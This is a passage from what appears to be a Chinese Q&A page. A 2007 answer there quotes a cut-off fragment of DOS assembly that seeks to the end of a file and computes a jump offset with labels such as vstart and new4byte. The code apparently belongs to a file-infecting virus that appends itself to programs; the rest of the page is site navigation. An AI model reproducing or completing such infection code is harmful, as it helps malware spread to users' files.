AH,3fh INT 21h MOV AX,4202h ;到文件尾 XOR CX,CX XOR DX,DX INT 21h MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方 ADD DI,2 ADD DI,SI SUB AX,4 MOV DS:[DI],AX ADD SI,OFFSET mainstart-OFFSET vstart。

    丢***

    2007-02-04 07:37:44

类似问题

换一换

相关推荐

正在加载...
最新资料 推荐信息 热点推荐
  • 1-20
  • 21-40
  • 41-60
  • 61-80
  • 81-100
  • 101-120
  • 121-140
  • 141-160
  • 161-180
  • 181-200
  • 1-20
  • 21-40
  • 41-60
  • 61-80
  • 81-100
  • 101-120
  • 121-140
  • 141-160
  • 161-180
  • 181-200
  • 1-20
  • 21-40
  • 41-60
  • 61-80
  • 81-100
  • 101-120
  • 121-140
  • 141-160
  • 161-180
  • 181-200

热点检索

  • 1-20
  • 21-40
  • 41-60
  • 61-80
  • 81-100
  • 101-120
  • 121-140
  • 141-160
  • 161-180
  • 181-200
返回
顶部
帮助 意见
反馈

确定举报此问题

举报原因(必选):